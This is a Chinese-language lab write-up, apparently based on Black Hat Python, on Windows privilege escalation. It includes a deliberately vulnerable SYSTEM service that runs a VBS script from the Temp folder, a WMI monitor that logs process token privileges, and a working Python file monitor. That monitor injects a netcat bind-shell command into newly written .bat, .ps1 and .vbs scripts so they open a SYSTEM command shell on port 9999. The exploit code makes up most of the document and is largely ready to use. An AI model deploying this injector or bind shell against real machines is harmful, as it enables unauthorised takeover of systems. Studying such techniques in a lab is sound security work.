描述
- 登录目标机器后,需要获取system权限,可选择方式有攻击驱动程序或者系统内核,较难且容易导致系统奔溃,考虑到某些高权限任务所依赖的文件或者程序可以被低权限用户修改,如果在里面嵌入恶意代码,可以实现提权
- 本实验分为三个部分,首先模拟受害服务,该具有system权限的服务依赖vbs脚本,然后利用WMI编写进程监控程序,用于在目标机器上发现该受害服务,最后利用win32 api编写文件监控程序,获取篡改vbs脚本的时机,并嵌入恶意代码,实现提权
模拟受害服务
功能
- 该受害服务周期性地将脚本复制到某个临时目录,然后在该目录中执行脚本,之后删除脚本
代码
import os
from time import sleep
import servicemanager
import shutil
import subprocess
import sys
import win32event
import win32service
import win32serviceutil
SRCDIR = 'E:\\Project\\Python\\blackhat\\privilage'
TGTDIR = "C:\\Windows\Temp"
class BHServerSvc(win32serviceutil.ServiceFramework):
_svc_name_ = "BlackHatService"
_svc_display_name_ = 'Black Hat Service'
_svc_description_ = ("Executes VBScripts at regular intervals." + " What could possibly go wrong?")
def __init__(self, args):
self.vbs = os.path.join(TGTDIR, 'bhservice_task.vbs')
self.timeout = 1000*10
win32serviceutil.ServiceFramework.__init__(self, args)
self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
def SvcStop(self):
self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
win32event.SetEvent(self.hWaitStop)
def SvcDoRun(self):
self.ReportServiceStatus(win32service.SERVICE_RUNNING)
self.main()
def main(self):
while True:
ret_code = win32event.WaitForSingleObject(self.hWaitStop, self.timeout)
if ret_code == win32event.WAIT_OBJECT_0:
servicemanager.LogInfoMsg("Service is stopping")
break
src = os.path.join(SRCDIR, "bhservice_task.vbs")
shutil.copy(src, self.vbs)
subprocess.call("cscript.exe %s" % self.vbs, shell=False)
os.unlink(self.vbs)
if __name__ == "__main__":
if len(sys.argv) == 1:
servicemanager.Initialize()
servicemanager.PrepareToHostSingle(BHServerSvc)
servicemanager.StartServiceCtrlDispatcher()
else:
win32serviceutil.HandleCommandLine(BHServerSvc)
测试
- 用pyinstaller打包,注意需要添加隐式导入
pyinstaller -F --hiddenimport win32timezone service.py
- 部署服务
# 安装
service.exe install
# 运行
service.exe start
# 停止
service.exe stop
# 删除,实测还需要删除注册表中的服务项,并重启后服务才能被彻底删除
service.exe remove
- 安装服务后的截图
进程监控程序
预先知识
- WMI(Windows管理规范)接口能够帮助我们监控程序中的特定时间,并且在事件发生时收到系统的回调
- Windows系统的令牌权限:系统内核给每个进程授予了一个token,用于标注一个进程或线程可以执行什么样的任务,具有什么样的权限,比较重要的权限有
SetBackupPrivilege(允许读取任意文件)
、SetDebugPrivilege(允许将dll或代码注入其它进程)
和setLoadDriver(允许进程加载或卸载驱动程序)
功能
- 利用WMI接口监控进程的创建,打印出进程的用户、权限、令牌、依赖的脚本路径等重要信息,找出那些具有system权限,拥有重要令牌,并且依赖普通文件的进程
代码
- 获取进程令牌权限时,先查看权限是否被启用,然后再根据权限ID去查权限名称
import os
import sys
import win32api
import win32con
import win32security
import wmi
def log2file(message):
with open("monitor_process_log.csv", "a") as fd:
fd.write(f"{message}\r\n")
def monitor():
head = "CommandLine, Time, Executable, Parent PID, PID, User, Privileges"
log2file(head)
c = wmi.WMI()
process_monitor = c.Win32_Process.watch_for('creation')
while True:
try:
new_process = process_monitor()
cmdline = new_process.CommandLine
create_date = new_process.CreationDate
executable = new_process.ExecutablePath
parent_pid = new_process.ParentProcessId
pid = new_process.ProcessId
proc_owner = new_process.GetOwner()
privileges = get_process_privileges(pid)
process_log_message = (
f'{cmdline}, {create_date}, {executable},'
f'{parent_pid}, {pid}, {proc_owner}, {privileges}'
)
print(process_log_message)
print()
log2file(process_log_message)
except Exception:
pass
def get_process_privileges(pid):
try:
hproc = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION, False, pid)
htok = win32security.OpenProcessToken(hproc, win32con.TOKEN_QUERY)
privs = win32security.GetTokenInformation(htok, win32security.TokenPrivileges)
privileges = ''
for priv_id, flags in privs:
if flags == (win32security.SE_PRIVILEGE_ENABLED | win32security.SE_PRIVILEGE_ENABLED_BY_DEFAULT):
privileges += f'{win32security.LookupPrivilegeName(None, priv_id)} |'
except Exception:
privileges = 'N/A'
return privileges
if __name__ == "__main__":
monitor()
测试
- 运行脚本一段时间后,监控到系统进程cscript的创建,具备高权限,并且依赖一个普通的vbs脚本
文件监控程序
功能
- 问题:某些高权限进程会将依赖的脚本文件放到临时目录,将命令写入文件执行,最后再删除,我们必须抢在删除前,修改脚本文件的内容
- 解决:通过win32 api
ReadDirectoryChangeW
,监控某个目录下文件的变化,一旦发现目标文件被创建,则立马将恶意代码注入到目标文件中,使得其被执行
代码
- 防止文件被重复修改的方法:检测到文件被创建修改后,如果文件后缀名为vbs并且文件中未检测到添加的标记,则在文件中写入一个已被修改的标记,之后再写入shellcode
- 写入的shellcode调用了之前编写的windows版nc,可以在目标机器上开启tcp端口监听,接收远程命令并执行
import os
import tempfile
import threading
import win32con
import win32file
FILE_CREATED = 1
FILE_DELETED = 2
FILE_MODIFIED = 3
FILE_RENAMED_FROM = 4
FILE_RENAMED_TO = 5
FILE_LIST_DIRECTORY = 0X001
PATHS = ['c:\\WINDOWS\\Temp', tempfile.gettempdir()]
NETCAT = 'E:\\Project\\Python\\blackhat\\netcat\\dist\\netcat.exe'
CMD = f'{NETCAT} -t 192.168.4.126 -p 9999 -l -c'
FILE_TYPES = {
'.bat': ["\r\nREM bhpmarker\r\n", f'\r\n{CMD}\r\n'],
'.ps1': ["\r\n#bhpmarker\r\n", f'\r\nStart-Process "{CMD}"\r\n'],
'.vbs': ["\r\n'bhpmarker\r\n", f'\r\nCreateObject("Wscript.Shell").Run("{CMD}")\r\n'],
}
def monitor(path_to_monitor):
h_directory = win32file.CreateFile(
path_to_monitor,
FILE_LIST_DIRECTORY,
win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE,
None,
win32con.OPEN_EXISTING,
win32con.FILE_FLAG_BACKUP_SEMANTICS,
None
)
while True:
try:
results = win32file.ReadDirectoryChangesW(
h_directory,
1024,
True,
win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |
win32con.FILE_NOTIFY_CHANGE_DIR_NAME |
win32con.FILE_NOTIFY_CHANGE_FILE_NAME |
win32con.FILE_NOTIFY_CHANGE_LAST_WRITE |
win32con.FILE_NOTIFY_CHANGE_SECURITY |
win32con.FILE_NOTIFY_CHANGE_SIZE,
None,
None
)
for action, file_name in results:
full_filename = os.path.join(path_to_monitor, file_name)
if action == FILE_CREATED:
print(f'[+] Created {full_filename}')
elif action == FILE_DELETED:
print(f'[-] Deleted {full_filename}')
elif action == FILE_MODIFIED:
print(f'[*] Modified {full_filename}')
extension = os.path.splitext(full_filename)[1]
if extension in FILE_TYPES:
try:
print('[vvv] Dumping contents ...')
with open(full_filename) as f:
contents = f.read()
inject_code(full_filename, contents, extension)
print(contents)
print('[^^^] Dump complete.')
except Exception as e:
print(f"[!!!] Dump failed. {e}")
elif action == FILE_RENAMED_FROM:
print(f"[>] Renamed from {full_filename}")
elif action == FILE_RENAMED_TO:
print(f"[<] Renamed to {full_filename}")
else:
print(f"[?] Unknown action on {full_filename}")
except Exception:
pass
def inject_code(full_filename, contents, extension):
if FILE_TYPES[extension][0].strip() in contents:
return
full_contents = FILE_TYPES[extension][0]
full_contents += FILE_TYPES[extension][1]
full_contents += contents
with open(full_filename, 'w') as f:
f.write(full_contents)
print('\\o/ Injected Code')
if __name__ == "__main__":
for path in PATHS:
monitor_thread = threading.Thread(target=monitor, args=(path, ))
monitor_thread.start()
测试
- 监控windows的temp目录,发现目标vbs文件被创建,将其内容打印出来并写入标记和shellcode
- 之后vbs文件被执行,目标机器上开启nc监听,在本地kali攻击机上用nc去连接目标机器,即可得到一个system权限的命令执行!